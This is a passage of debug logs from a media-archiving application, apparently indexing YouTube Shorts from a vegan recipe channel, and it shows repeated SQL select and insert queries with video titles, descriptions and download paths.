db=0.4ms queue=0.1ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:26.033 [debug] QUERY OK source="sources" db=0.4ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:26.035 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-26 23:09:53Z], 1] 20:27:26.036 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We've got a new vegan, high protein, oil free, rose linguine pasta live on the channel today. If you want an easy to make, vegan, high protein pasta that's definitely not sexy to eat but full of so much flavor then you'll want to check this recipe video out!\n\nFull Video Link: https://youtu.be/Ie88RmaBHA8", "You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts", "127078fa-b1dd-4d79-ad7e-70a07a8af38b", 1, [], 15, false, "Nhd6YWh6_TQ", "https://www.youtube.com/shorts/Nhd6YWh6_TQ", 252, "/downloads/downloads/alec/Steamy Vegan/2022-08-26 You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts/You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts [Nhd6YWh6_TQ].NA", false, false, true, 0, ~U[2022-08-26 23:09:53Z], ~U[2026-03-22 03:27:26Z], ~U[2026-03-22 03:27:26Z], "We've got a new vegan, high protein, oil free, rose linguine pasta live on the channel today. If you want an easy to make, vegan, high protein pasta that's definitely not sexy to eat but full of so much flavor then you'll want to check this recipe video out!\n\nFull Video Link: https://youtu.be/Ie88RmaBHA8", "You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts", 1, 15, false, "Nhd6YWh6_TQ", "https://www.youtube.com/shorts/Nhd6YWh6_TQ", "/downloads/downloads/alec/Steamy Vegan/2022-08-26 You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts/You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts [Nhd6YWh6_TQ].NA", true, ~U[2022-08-26 23:09:53Z]] 20:27:26.036 [debug] QUERY OK source="sources" db=0.4ms idle=849.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:26.037 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:26.038 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [641] 20:27:26.038 [debug] Current batch of media processed. Will check again in 1000ms 20:27:27.039 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Serious question though... are they still refried beans if you make them in your Instant Pot?\n\nWatch my full ✨meal prep/what I ate in a week✨ video here: https://youtu.be/SG55bgKwvDg", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-26 Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔/Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔 [N4rsTVRJfcc].NA", "id" => "N4rsTVRJfcc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/N4rsTVRJfcc", "playlist_index" => 253, "timestamp" => 1661541300, "title" => "Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔", "upload_date" => "20220826"} 20:27:27.040 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:27.041 [debug] QUERY OK source="sources" db=0.2ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:27.043 [debug] QUERY OK source="media_items" db=2.1ms idle=1003.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-26 19:15:00Z], 1] 20:27:27.045 [debug] QUERY OK source="media_items" db=1.1ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Serious question though... are they still refried beans if you make them in your Instant Pot?\n\nWatch my full ✨meal prep/what I ate in a week✨ video here: https://youtu.be/SG55bgKwvDg", "Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔", "36685a07-63be-401c-8d42-ad8e74ec71fe", 1, [], 11, false, "N4rsTVRJfcc", "https://www.youtube.com/shorts/N4rsTVRJfcc", 253, "/downloads/downloads/alec/Steamy Vegan/2022-08-26 Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔/Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔 [N4rsTVRJfcc].NA", false, false, true, 1, ~U[2022-08-26 19:15:00Z], ~U[2026-03-22 03:27:27Z], ~U[2026-03-22 03:27:27Z], "Serious question though... are they still refried beans if you make them in your Instant Pot?\n\nWatch my full ✨meal prep/what I ate in a week✨ video here: https://youtu.be/SG55bgKwvDg", "Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔", 1, 11, false, "N4rsTVRJfcc", "https://www.youtube.com/shorts/N4rsTVRJfcc", "/downloads/downloads/alec/Steamy Vegan/2022-08-26 Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔/Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔 [N4rsTVRJfcc].NA", true, ~U[2022-08-26 19:15:00Z]] 20:27:27.045 [debug] QUERY OK source="sources" db=0.4ms idle=856.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:27.046 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:27.046 [debug] QUERY OK source="media_items" db=0.5ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [642] 20:27:27.047 [debug] Current batch of media processed. Will check again in 1000ms 20:27:28.048 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I tried Blume’s new Salted Caramel Latte superfood blend and…. 🤤\n\nSeriously. I have tried almost every superfood blend from Blume and this one is TOPS, y’all. Here’s how to make an iced latte:\n\nAdd 1 tsp salted caramel latte mix to a cup — splash of hot water — stir to dissolve — add liquid sweetener of choice and coffee ice cubes — fill with nondairy milk — stir, sip, enjoy 😉 ✨", "duration" => 26, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-25 Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER?/Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER? [-k6naPQVUM0].NA", "id" => "-k6naPQVUM0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/-k6naPQVUM0", "playlist_index" => 254, "timestamp" => 1661470200, "title" => "Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER?", "upload_date" => "20220825"} 20:27:28.049 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:28.050 [debug] QUERY OK source="sources" db=0.7ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:28.053 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-25 23:30:00Z], 1] 20:27:28.055 [debug] QUERY OK source="media_items" db=1.3ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I tried Blume’s new Salted Caramel Latte superfood blend and…. 🤤\n\nSeriously. I have tried almost every superfood blend from Blume and this one is TOPS, y’all. Here’s how to make an iced latte:\n\nAdd 1 tsp salted caramel latte mix to a cup — splash of hot water — stir to dissolve — add liquid sweetener of choice and coffee ice cubes — fill with nondairy milk — stir, sip, enjoy 😉 ✨", "Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER?", "7132e8a8-2cdc-4678-bf76-ea116c141a02", 1, [], 26, false, "-k6naPQVUM0", "https://www.youtube.com/shorts/-k6naPQVUM0", 254, "/downloads/downloads/alec/Steamy Vegan/2022-08-25 Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER?/Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER? [-k6naPQVUM0].NA", false, false, true, 0, ~U[2022-08-25 23:30:00Z], ~U[2026-03-22 03:27:28Z], ~U[2026-03-22 03:27:28Z], "I tried Blume’s new Salted Caramel Latte superfood blend and…. 🤤\n\nSeriously. I have tried almost every superfood blend from Blume and this one is TOPS, y’all. Here’s how to make an iced latte:\n\nAdd 1 tsp salted caramel latte mix to a cup — splash of hot water — stir to dissolve — add liquid sweetener of choice and coffee ice cubes — fill with nondairy milk — stir, sip, enjoy 😉 ✨", "Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER?", 1, 26, false, "-k6naPQVUM0", "https://www.youtube.com/shorts/-k6naPQVUM0", "/downloads/downloads/alec/Steamy Vegan/2022-08-25 Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER?/Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER? [-k6naPQVUM0].NA", true, ~U[2022-08-25 23:30:00Z]] 20:27:28.056 [debug] QUERY OK source="sources" db=0.7ms idle=864.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:28.056 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:28.057 [debug] QUERY OK source="media_items" db=0.4ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [643] 20:27:28.057 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Here's a little look into one of the recipes I included in my meal prep this week -- PICO DE GALLO! Aka salsa fresca \n\nWatch my full ✨meal prep/what I ate in a week✨ video here: https://youtu.be/SG55bgKwvDg", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-25 What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥/What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥 [bTqHo3p_084].NA", "id" => "bTqHo3p_084", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/bTqHo3p_084", "playlist_index" => 255, "timestamp" => 1661454902, "title" => "What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥", "upload_date" => "20220825"} 20:27:28.058 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:28.058 [debug] QUERY OK source="sources" db=0.3ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:28.060 [debug] QUERY OK source="media_items" db=1.7ms idle=2.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-25 19:15:02Z], 1] 20:27:28.062 [debug] QUERY OK source="media_items" db=0.7ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here's a little look into one of the recipes I included in my meal prep this week -- PICO DE GALLO! Aka salsa fresca \n\nWatch my full ✨meal prep/what I ate in a week✨ video here: https://youtu.be/SG55bgKwvDg", "What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥", "a30e5fe2-3488-402d-8224-a26a2f60efdf", 1, [], 12, false, "bTqHo3p_084", "https://www.youtube.com/shorts/bTqHo3p_084", 255, "/downloads/downloads/alec/Steamy Vegan/2022-08-25 What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥/What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥 [bTqHo3p_084].NA", false, false, true, 1, ~U[2022-08-25 19:15:02Z], ~U[2026-03-22 03:27:28Z], ~U[2026-03-22 03:27:28Z], "Here's a little look into one of the recipes I included in my meal prep this week -- PICO DE GALLO! Aka salsa fresca \n\nWatch my full ✨meal prep/what I ate in a week✨ video here: https://youtu.be/SG55bgKwvDg", "What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥", 1, 12, false, "bTqHo3p_084", "https://www.youtube.com/shorts/bTqHo3p_084", "/downloads/downloads/alec/Steamy Vegan/2022-08-25 What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥/What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥 [bTqHo3p_084].NA", true, ~U[2022-08-25 19:15:02Z]] 20:27:28.062 [debug] QUERY OK source="sources" db=0.3ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:28.063 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.2ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:28.063 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [644] 20:27:28.063 [debug] Current batch of media processed. Will check again in 1000ms 20:27:29.065 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Some delicious meals that I eat in a week as a vegan! Gluten and oil-free recipes for weight loss! \n\nSweet potato breakfast cookies, freezer-friendly burritos and BIG burrito bowls! \n\n Check out my full meal prep and what I eat in a week video here: https://youtu.be/SG55bgKwvDg", "duration" => 10, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-23 What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss/What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss [-NqDcTLRxY4].NA", "id" => "-NqDcTLRxY4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/-NqDcTLRxY4", "playlist_index" => 256, "timestamp" => 1661263201, "title" => "What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss", "upload_date" => "20220823"} 20:27:29.066 [debug] QUERY OK source="sources" db=0.8ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 